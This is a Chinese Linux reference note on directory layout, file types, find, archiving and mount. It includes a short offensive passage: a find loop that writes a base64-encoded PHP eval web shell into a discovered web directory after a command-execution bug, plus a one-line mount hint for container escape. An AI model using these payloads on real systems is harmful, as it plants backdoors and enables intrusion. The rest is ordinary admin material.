普通用户的主目录（也称为家目录）。在创建用户时，每个用户要有一个默认登录和保存自己数据的位置，就是用户的主目录，所有普通用户的主目录是在 /home/ 下建立一个和用户名相同的目录。
如用户 liming 的主目录就是 /home/liming
| | /lib/ | 系统调用的函数库保存位置 | | /media/ | 挂载目录。系统建议用来挂载媒体设备，如软盘和光盘 | | /mnt/ | 挂载目录。早期 Linux 中只有这一个挂载目录，并没有细分。系统建议这个目录用来挂载额外的设备，如 U 盘、移动硬盘和其他操作系统的分区 | | /misc/ |挂载目录。系统建议用来挂载 NFS 服务的共享目录。虽然系统准备了三个默认挂载目录 /media/、/mnt/、/misc/，但是到底在哪个目录中挂载什么设备可以由管理员自己决定。例如，笔者在接触 Linux 的时候，默认挂载目录只有 /mnt/，所以养成了在 /mnt/ 下建立不同目录挂载不同设备的习惯，
如 /mnt/cdrom/ 挂载光盘、/mnt/usb/ 挂载 U 盘，都是可以的
| | /opt/ |第三方安装的软件保存位置。这个目录是放置和安装其他软件的位置，
手工安装的源码包软件都可以安装到这个目录中。不过笔者还是习惯把软件放到 /usr/local/ 目录中，也就是说，/usr/local/ 目录也可以用来安装软件
| | /root/ | root 的主目录。普通用户主目录在 /home/ 下，root 主目录直接在“/”下 | | /sbin/ | 保存与系统环境设置相关的命令，只有 root 可以使用这些命令进行系统环境设置，但也有些命令可以允许普通用户查看 | | /srv/ | 服务数据目录。一些系统服务启动之后，可以在这个目录中保存所需要的数据 | | /tmp/ |临时目录。系统存放临时文件的目录，在该目录下，所有用户都可以访问和写入。
建议此目录中不能保存重要数据，最好每次开机都把该目录清空
| **/usr目录** | 子目录 | 功能（作用） | | ------------ | ----------------------------------------------------------------------------------------------------- | | /usr/bin/ | 存放系统命令，普通用户和超级用户都可以执行。这些命令和系统启动无关 | | /usr/sbin/ | 存放根文件系统不必要的系统管理命令，如多数服务程序，只有 root 可以使用。 | | /usr/lib/ | 应用程序调用的函数库保存位置 | | /usr/XllR6/ | 图形界面系统保存位置 | | /usr/local/ | 手工安装的软件保存位置。我们一般建议源码包软件安装在这个位置 | | /usr/share/ | 应用程序的资源文件保存位置，如帮助文档、说明文档和字体目录 | | /usr/src/ | 源码包保存位置。我们手工下载的源码包和内核源码包都可以保存到这里。不过笔者更习惯把手工下载的源码包保存到 /usr/local/src/ 目录中，把内核源码保存到 /usr/src/linux/ 目录中 | | /usr/include | C/C++等编程语言头文件的放置目录 | **/var 目录** | /var子目录 | 功能（作用） | | ---------------- | --------------------------------------------------------------------------------- | | /var/lib/ |程序运行中需要调用或改变的数据保存位置。如 MySQL
的数据库保存在 /var/lib/mysql/ 目录中
| | /var/log/ | 登陆文件放置的目录，其中所包含重要的文件如 /var/log/messages, /var/log/wtmp 等。 | | /var/run/ | 一些服务和程序运行后，它们的 PID（进程 ID）保存位置 | | /var/spool/ | 里面主要都是一些临时存放，随时会被用户所调用的数据，例如 /var/spool/mail/ 存放新收到的邮件，/var/spool/cron/ 存放系统定时任务。 | | /var/www/ | RPM 包安装的 Apache 的网页主目录 | | /var/nis和/var/yp | NIS 服务机制所使用的目录，nis 主要记录所有网络中每一个 client 的连接信息；yp 是 linux 的 nis 服务的日志文件存放的目录 | | /var/tmp | 一些应用程序在安装或执行时，需要在重启后使用的某些文件，此目录能将该类文件暂时存放起来，完成后再行删除 | #### 文件类型 ```bash - 普通文件 d 目录 l 链接文件 b 块设备 c 字符设备 p 管道文件pipe s 套接字文件socket ``` #### 文件查找 ```bash find -maxdepth level 最大搜索目录深度,指定目录下的文件为第1级 -mindepth level 最小搜索目录深度 -name #文件名 -iname #不区分大小写 #组合条件 与：-a 或：-o 非：not ! #根据文件类型 -type TYPE f：普通文件 d：目录文件 l：符号文件 s：套接字文件 p：管道文件 #排除security目录 find /etc -path '/etc/security' -a -prune -o -name "*.conf" #根据文件大小查找 -size #k，M，G -atime 天 #根据时间戳 #根据权限 -perm find / -perm 755 #处理动作 -exec 执行命令 ##备份文件 find /etc/ -name ".conf" -exec cp {} /root/conf/ \; ##查找权限为644，后缀为sh文件，并给于执行权限 find / -type f -perm 644 -name "*.sh" -exec chmod 755 {} \; ``` 实战场景，挖到了一个命令执行但是因为找不到目录而无法写shell。 通过网页寻找特殊名称或图片名称，通过find定位WEB目录。 {% code overflow="wrap" %} ```bash #查找文件并写入 find / -name 1.jpg|while read file;do sh -c "echo '111'">$(dirname $file)/111.txt;done #查找1.jpg文件并用bash64编码写入 find / -name 1.jpg|while read file;do sh -c "echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pgo= | base64 -d">$(dirname $file)/1.php;done ``` {% endcode %} #### 压缩和解压 ```bash #gzip -k keep, 保留原文件,CentOS 8 新特性 -d 解压缩，相当于gunzip -c 结果输出至标准输出，保留原文件不改变 -# 指定压缩比，#取值为1-9，值越大压缩比越大 gunzip file.gz #解压 gzip -c messages > messages.gz #压缩 #bzip2、bunzip2 对应的文件是 .bz2 后缀 -k keep, 保留原文件 -d 解压缩 -c 结果输出至标准输出，保留原文件不改变 -# 1-9，压缩比，默认为9 #xz、unxz unxz file.xz zip -r /back.zip /etc/ #打包并压缩 zip -e password.zip * #交互式加密解密 zip -P 123456 password.zip * #非交互式 tar -z 相当于gzip压缩工具 -j 相当于bzip2压缩工具 -J 相当于xz压缩工具 #创建归楼，保留权限 tar -cpvf /1.tar.gz /tmp/ #追加文件 tar -rf /1.tar.gz file #排除文件 --exclude #打包文件，不包含图片文件 tar -cvf web.tar.gz --exclude="*.jpg" /data/ #排除多个文件类型 tar -czvf web.tar.gz --exclude="*.jpg" --exclude="*.php" /data/ #只打包特定的文件 find /data/ -name "*.conf" |xargs tar -czvf ./conf.tar.gz ``` #### 挂载文件 ```bash mount [-t 系统类型] [-L 卷标名] [-o 特殊选项] [-n] 设备文件名 挂载点 -t #指定系统类型，例如ext4 -r #只读挂载 -w #读写挂载，默认配置。 #持久挂载 /etc/fstab #操作光盘 eject #弹出光盘 eject -t #弹入光盘 容器逃逸常用 mount /dev/sda1 /tmp/hosts/ ```